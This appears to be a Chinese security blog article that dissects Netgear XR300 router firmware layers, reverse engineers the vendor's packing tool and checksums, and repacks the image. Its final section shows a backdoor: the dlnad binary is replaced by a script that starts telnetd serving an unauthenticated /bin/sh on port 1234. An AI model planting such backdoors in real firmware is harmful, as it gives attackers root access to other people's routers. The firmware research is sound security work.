netgear固件格式分析及后门植入重打包

2021-06-08 11,355


记录对netgear XR300路由器固件分析以及重新打包过程

Netgear固件分析与后门植入

文章亮点就是 全方面的讲解了固件重打包的流程,从怎么分析到实际操作都进行了讲解,并且根据固件的分层结构,详细介绍了每层数据的具体处理方法

资源

硬件

  • 一台 netgear XR300路由器

  • 网线

软件

  • 固件下载地址

  • 官方打包工具源码地址

交叉编译环境

Note: 
      This package has been built successfully on 32-bit i386 Fedora 6 Linux 
      host machine. Compiling this package on platforms other than Fedora Core 6
      may have unexpected results.

根据官方源码中的说明,配置好32位 i386 Fedora 6虚拟机

[root@localhost]# uname -a
Linux localhost.localdomain 2.6.22.14-72.fc6 #1 SMP Wed Nov 21 13:44:07 EST 2007 i686 i686 i386 GNU/Linux

下载交叉编译工具 arm-uclibc 工具链

使用binwalk解析固件

$ binwalk XR300-V1.0.2.24_10.3.21.chk 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 35921920 bytes, CRC32: 0x3DB7DE14, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21159C, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5325664 bytes
2168278       0x2115D6        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 33750586 bytes, 2792 inodes, blocksize: 131072 bytes, created: 2019-04-12 06:24:01

通过分析binwalk解析结果,可以看到固件由netgear header(0x3A字节) +TRX header(0x1c字节)+linux kernel+squashfs文件系统构成。接下来由从内到外的顺序对每一个部分进行详细分析

Squashfs

首先固件最内层是一个squash文件系统,从binwalk解析结果可以看到对文件系统版本以及大小等属性的详细描述

2168278       0x2115D6        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 33750586 bytes, 2792 inodes, blocksize: 131072 bytes, created: 2019-04-12 06:24:01

目前网上针对squashfs的打包工作都是使用开源的mksquash这个程序进行打包,使用binwalk解析出来的压缩参数进行压缩后与原本的固件进行对比

  • 原本文件系统:

文件开头:

文件结尾:

  • 重打包文件系统:

文件开头:

文件结尾:

可以看到不管是开头还是结尾都有明显差异,原本文件系统在结尾处有明显英文的信息描述,所以使用网上方法直接对文件系统进行打包是不行的(事实证明,这种方法的确会让路由器变砖)

使用官方代码构建文件系统

因为已经有了官方打包的源码,所以我选择直接运行官方的构建固件代码,但是在编译运行的时候出现了很多报错,可能是我选择的Linux版本的问题,在修复了几个报错的文件后仍然会出现新的报错,所以我暂时放弃了这个做法。
因为官方代码编译运行是依据 src/router/Makefile 这个文件,所以我选择直接分析这个文件,文件比较大,我从头到尾把这个MakeFile读了一遍,基本就了解了netgear固件打包的全流程,这个部分只分析与squash文件系统相关的地方。

在MakeFile中和构建squash文件系统相关的语句如下:

ifeq ($(CONFIG_SQUASHFS), y)
ifeq (2_6_36,$(LINUX_VERSION))
    $(MAKE) -C squashfs-4.2 mksquashfs
    find $(TARGETDIR) -name ".svn" | xargs rm -rf
    squashfs-4.2/mksquashfs $(TARGETDIR) $(PLATFORMDIR)/$(ROOT_IMG) -noappend -all-root

首先是在squashfs-4.2 目录下执行Make命令,然后删除所有.svn文件,最后执行mksquashfs命令,其中

PLATFORM := $(PLT)-uclibc
export PLATFORMDIR := $(TOP)/$(PLATFORM)
export TARGETDIR := $(PLATFORMDIR)/target

最终我们要选择我们构建好后门的文件系统文件夹

./mksquashfs squashfs-root/ target.squashfs -noappend -all-root

这里需要注意的是,(TARGETDIR)参数要使用原来固件解析出的文件系统文件夹,src文件夹中的文件系统缺少文件会导致web等服务无法启动

新生成的文件系统和binwalk解出来的不管是开头还是结尾都很相似了,是可以使用的。

linux kernel

86      0x56     LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5325664 bytes

从binwalk解析结果来看,文件系统上面是Linux内核,接下来介绍几种常见的Linux内核文件

initrd.img、vmlinux和 vmlinuz

initrd.img是一个小的映象,包含一个最小的linux系统。通常的步骤是先启动内核,然后内核挂载initrd.img,并执行里面的脚本来进一步挂载各种各样的模块,然后发现真正的root分区,挂载并执行/sbin/init…

initrd.img当然是可选的了,如果没有initrd.img,内核就试图直接挂载root分区。

说 initrd.img文件还会提到另外一个名角---vmlinuz。vmlinuz是可引导的、压缩的内核。“vm”代表 “Virtual Memory”。Linux 支持虚拟内存,不像老的操作系统比如DOS有640KB内存的限制。Linux能够使用硬盘空间作为虚拟内存,因此得名“vm”。另外:vmlinux是未压缩的内核,vmlinuz是vmlinux的压缩文件。

为什么要initrd.img?

系统内核vmlinuz被加载到内存后开始提供底层支持,在内核的支持下各种模块,服务等被加载运行。这样当然是大家最容易接受的方式,曾经的linux就是这样的运行的。假设你的硬盘是scsi 接口而你的内核又不支持这种接口时,你的内核就没有办法访问硬盘,当然也没法加载硬盘上的文件系统,怎么办?把内核加入scsi驱动源码然后重新编译出一个新的内核文件替换原来vmlinuz。

vmlinuz是可引导的、压缩的内核。“vm”代表“Virtual Memory”。Linux 支持虚拟内存,不像老的操作系统比如DOS有640KB内存的限制。Linux能够使用硬盘空间作为虚拟内存,因此得名“vm”。vmlinuz是可执行的Linux内核,它位于/boot/vmlinuz,它一般是一个软链接,比如图中是vmlinuz-2.4.7-10的软链接。

vmlinuz的建立有两种方式。一是编译内核时通过“make zImage”创建,然后通过:
“cp /usr/src/linux-2.4/arch/i386/linux/boot/zImage /boot/vmlinuz”产生。zImage适用于小内核的情况,它的存在是为了向后的兼容性。二是内核编译时通过命令make bzImage创建,然后通过:“cp /usr/src/linux-2.4/arch/i386/linux/boot/bzImage /boot/vmlinuz”产生。bzImage是压缩的内核映像,需要注意,bzImage不是用bzip2压缩的,bzImage中的bz容易引起 误解,bz表示“big zImage”。bzImage中的b是“big”意思。
zImage(vmlinuz)和bzImage(vmlinuz)都是用gzip压缩的。它们不仅是一个压缩文件,而且在这两个文件的开头部分内嵌有gzip解压缩代码。所以你不能用gunzip 或 gzip –dc解包vmlinuz。
内核文件中包含一个微型的gzip用于解压缩内核并引导它。两者的不同之处在于,老的zImage解压缩内核到低端内存(第一个640K), bzImage解压缩内核到高端内存(1M以上)。如果内核比较小,那么可以采用zImage 或bzImage之一,两种方式引导的系统运行时是相同的。大的内核采用bzImage,不能采用zImage。

提取Linux kernel

在makefile中针对linux kernel的命令主要有以下几条:

linux_kernel:        
ifeq ($(LINUXDIR), $(BASEDIR)/components/opensource/linux/linux-2.6.36)
    $(MAKE) -C $(LINUXDIR) zImage
    $(MAKE) CONFIG_SQUASHFS=$(CONFIG_SQUASHFS) -C $(SRCBASE)/router/compressed

可以发现源码中已经有了官方编译好的内核可以直接使用,或者也可以直接将固件中这一部分提取出来直接使用

TRX header

接下来是对TRX头进行分析

58    0x3A    TRX firmware header, little endian, image size: 35921920 bytes, CRC32: 0x3DB7DE14, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21159C, rootfs offset: 0x0

从binwalk解析结果来看,TRX头是对linux kernel和squashfs的拼接和校验

在我使用的固件中TRX内容如下:

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000030                                  48 44 52 30 00 F0             HDR0 ?
00000040   E2 01 C3 75 71 F9 00 00  01 00 100 00 00 60 E5   ?胾q?       `?
00000050   21 00 00 00 00 00                                  !     

TRX是某些路由器(如linksys)和开源固件(如OpenWRT和DD-WRT)中使用的内核映像文件的格式。

TRX文件头格式如下:

struct trx_header {
    uint32_t magic;     /* "HDR0" */
    uint32_t len;       /* Length of file including header */
    uint32_t crc32;     /* 32-bit CRC from flag_version to end of file */
    uint32_t flag_version;  /* 0:15 flags, 16:31 version */
    uint32_t offsets[4];    /* Offsets of partitions from start of header */
};
  • 0x3A-0x3D magic魔数

  • 0x3E-0x41 image size

  • 0x42-0x45 CRC value

  • 0x46-0x47 TRX_flag

  • 0x48-0x49 TRX_version

  • 0x4A-0x55 分区偏移量:loader 偏移: 0x1C, linux kernel 偏移: 0x21E560, rootfs 偏移: 0x0

官方打包代码中已经有trx工具可以直接使用,在MakeFile中针对trx头使用的命令如下,可以看到其实就是对之前生成的vmlinuz文件和squash文件做一个组装

trx -o $(PLATFORMDIR)/linux.trx $(PLATFORMDIR)/vmlinuz $(PLATFORMDIR)/$(ROOT_IMG) ; 

在虚拟机中运行以下的命令,可得到相应的加了trx头的文件

$ ./trx -o ./linux.trx vmlinuz target.squashfs                  
append nvram file target.squashfs
append nvram 33751040 bytes
$ binwalk linux.trx                  

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             TRX firmware header, little endian, image size: 35921920 bytes, CRC32: 0x42E58DB3, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x2030000
28            0x1C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5325664 bytes
2168220       0x21159C        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 33750709 bytes, 2792 inodes, blocksize: 131072 bytes, created: 2021-03-24 06:51:29


$ binwalk XR300-V1.0.2.24_10.3.21.chk 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 35921920 bytes, CRC32: 0x3DB7DE14, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21159C, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5325664 bytes
2168278       0x2115D6        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 33750586 bytes, 2792 inodes, blocksize: 131072 bytes, created: 2019-04-12 06:24:01

使用binwalk对比原本的固件以及生成的trx文件可以发现在TRX头部分除了CRC32不一样外,偏移部分也存在较大差异,CRC32不一样是正常的,偏移部分差异过大肯定存在问题。
通过将偏移数值与binwalk解析结果对比分析,可以发现使用trx工具生成的TRX文件将linux kernel和squashfs的偏移搞反了,为了印证我的猜想,我对TRX工具进行了逆向

可以看到这里反汇编出来的逻辑与原始固件中TRX头所表现出来的肯定是不一样的, 为了与原固件保持一致需要在TRX生成的文件基础上做一些调整,具体调整方式如下:

  • 将trx文件中0x18 - 0x1b也就是rootfs对应的偏移改为0

  • 将trx文件中0x14 - 0x17也就是linux kernel对应的偏移改为0x21159C,这是因为使用的就是原始固件中的linux kernel所以这里的偏移与原固件保持一致,如果修改了内核文件导致与原始内核大小不一致,这里需要变成修改后的偏移

  • 重新计算CRC32

计算CRC32

以XR300-V1.0.2.24_10.3.21.chk文件为例,CRC32校验值为0x3DB7DE14,根据TRX定义,这里的CRC32校验是计算从flag部分到文件结尾,使用winhex计算该部分校验值

发现与固件中的值不符合,这里其实是做了一个取反操作

>>> bin(0x3DB7DE14)
'0b111101101101111101111000010100'
>>> bin(0xC24821EB)
'0b11000010010010000010000111101011'

所以在修改完TRX偏移部分后,计算出CRC32校验,取反之后修改CRC32部分即可
在线取反工具

$ binwalk linux.trx                                                                            

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             TRX firmware header, little endian, image size: 35921920 bytes, CRC32: 0x16**65F4, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21159C, rootfs offset: 0x0
28            0x1C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5325664 bytes
2168220       0x21159C        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 33750709 bytes, 2792 inodes, blocksize: 131072 bytes, created: 2021-03-24 06:51:29

netgear header

最后一个部分就是针对netgear header的构建,前0x3A字节是netgear自带的header,

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   223 24 500 00 00 3A  01 01 00 03 1003 16   *#$^   :        
00000010   C2 70 61 44 00 00 00 00  02 24 20 00 00 00 00 00   聀aD     $      
00000020   C2 70 61 44 F1 AC 09 FF  55 31 32 48 33 33 32 54   聀aD瘳 U12H332T
00000030   37 38 5445 54 47 45  41 52                     78_NETGEAR

通过查看R7000,XR300的多个版本chk文件,0-8字节是不变的,从9字节开始是固件的版本号。

  • 0x9-0x10字节是固件的版本号,对应着文件名。

  • 0x10-0x17,0x20-0x27 是netgear的chencksum信息,具体介绍在后面说明

  • 0x18-0x1F是固件大小,每一个chk文件大小都以0x3A结尾,所以文件大小信息的0x3A存放在0x7的位置。

  • 0x28-0x39字节是固件的种类信息,比如同一系列R7000,这12字节就是相同的。

在Makefile中针对这一部分的命令如下:

###########################################
### Create .chk files for Web UI upgrade ##
cd $(PLATFORMDIR) && touch rootfs && 
../../../tools/packet -k linux.trx -f rootfs -b $(BOARDID_FILE) 
-ok kernel_image -oall kernel_rootfs_image -or rootfs_image 
-i $(fw_cfg_file) && 
rm -f rootfs && 
cp kernel_rootfs_image.chk $(FW_NAME)_`date +%m%d%H%M`.chk

这里的操作逻辑是先创建一个空的rootfs文件然后使用packet程序对上面生成的linux.trx文件添加header,完整命令如下:

$ ./packet -k linux.trx -b compatible_xr300.txt -ok kernel -oall image -or rootfs -i ambitCfg.h

-b -i 的参数都可以在源码文件夹中找到
生成的image.chk就是最终的完整固件

重打包工作到这里其实就已经结束了,但是我对packet工具进行了进一步分析

逆向packet

因为不是很了解packet参数对应的具体含义,所以我使用IDA对packet进行了逆向

程序的逻辑是先通过程序参数输入对要使用的文件名变量进行赋值,然后通过 -i [configure file path/name] 获得的cfg文件提取出固件的版本信息,这个文件对应的就是 ambitCfg.h 查看文件内容,可以看到文件中定于了固件版本

/*formal version control*/

#define AMBIT_HARDWARE_VERSION     "U12H240T00"

#define AMBIT_SOFTWARE_VERSION     "V1.0.3.2"

#define AMBIT_UI_VERSION           "1.0.57"

#define STRING_TBL_VERSION         "1.0.3.2_2.1.33.8"

如果要打包别的版本固件需要对这里的字段修改成对应固件版本的信息。

接下来就是对三个输出文件添加header,这三个输出都是采用fwrite函数,将malloc_chunk的内容输入到文件中

查看addheader函数中对malloc_chunk的引用,可以发现,修改malloc_chunk的地方只要下面的代码

memcpy(malloc_chunk, v20, v24);
memcpy((char *)malloc_chunk + v24, &s, v26);
memcpy((char *)malloc_chunk + v25, dest, v27);

v20数组中先是存储了4个字节的字符串然后拷贝进了固件的版本信息

然后拷贝了 kernel_checksumrootfs_checksum 接着是对kernel文件长度和rootfs文件长度的信息,然后是rootfs_kernel_checksum,填充4字节0,加上compatible.txt里的内容,最后对整个头部再求一个checksum,将结果填充进刚才4字节0的位置

calculate_checksum

接下来分析这里的计算checksum的函数

第一次调用时a1 = 0,所以c1 = 0,c0 = 0

第二次调用时a1 = 1

这里的逻辑很简单,就是从file中每次读取一个字节的数据,然后

c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;

为了验证这里的计算结果,我使用GDB调试packet
查看程序的保护措施

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

只开启了NX,没有地址随机化,所以调试起来很方便

使用gdb加载packet,设置 args 后输入

set args  -k linux.bin -f _R6300v2-V1.0.3.2_1.0.57.chk.extracted/20E2BA.squashfs -b compatible_r6300v2.txt -ok kernel -oall kernel_rootfs -or rootfs -i ambitCfg.h

我根据IDA反汇编的逻辑,自己写了一个C的计算checksum代码,如下:

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>

int c1,c0;

int main()
{
    //FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
    FILE *kernel_file_fd = fopen("1","rb");
    void *kernel_file = malloc(0x2000000);
    int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
    int i;
    for(i=0;i<file_len;i++){
        c0 += *(unsigned char *)(kernel_file+i);
        c1 += c0;
    }
    c0 = (c0 & 0x0ffff) + ((unsigned int)c0 >> 16);
    c0  = ((c0 >> 16) + c0) & 0xffff;
    c1 = (c1 & 0x0ffff) + ((unsigned int)c1 >> 16);
    c1  = ((c1 >> 16) + c1) & 0xffff;
    int checksum;
    checksum = (c1 << 16) | c0;
    printf("0x%x",checksum);
}

首先在对rootfs计算checksum的位置下断点,通过查看计算的checksum

与C计算的一致
接下来计算对linux kernel的checksum

发现与C计算的也是一致的

接下来是计算了rootfs+linux kernel的checksum

第一部分校验和是对TRX header + linux kernel + squashfs文件系统的校验

56.7z 对应着固件中linux kernel+squashfs文件系统的部分

修改固件

设置后门

cd rootfs/usr/sbin
mv dlnad dlnadd
touch dlnad
vim dlnad
 #!/bin/sh

/usr/sbin/telnetd -F -l /bin/sh -p 1234 &
/usr/sbin/dlnadd &
sudo chown 777 dlnad

将修改后的文件系统重新打包上传

在netgear某些版本中,无法直接开启telnet需要先创建设备文件
完整命令如下:

mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p6666 -l/bin/sh

完整流程图如下:

netgear救砖教程

  • 下载nmrpflash.exe工具

链接:https://pan.baidu.com/s/140aE74ZUsRMcW1sbdLYqYQ,
提取码:opw4

  • 配置静态IP

  • 用管理员权限打开cmd

使用网线插上netgear lan口,在命令行中进入刚下载工具的目录

输入命令nmrpflash.exe -L查询网卡编号

这里可以看到对应的编号是net1

  • 上传固件
    查询好编号后,执行命令

nmrpflash.exe -i net1 -f R6220-V1.1.0.86.img

开启救砖之路,值得注意的是,此命令执行的时机为:在命令提示符中输入好指令后,此时路由在处于关机状态,开启路由器电源,等待5秒,执行命令,大概等待1-5分钟左右的时间,即可恢复成功。命令执行时机决定救砖是否成功,可以不断尝试,直到成功。

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/160480.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号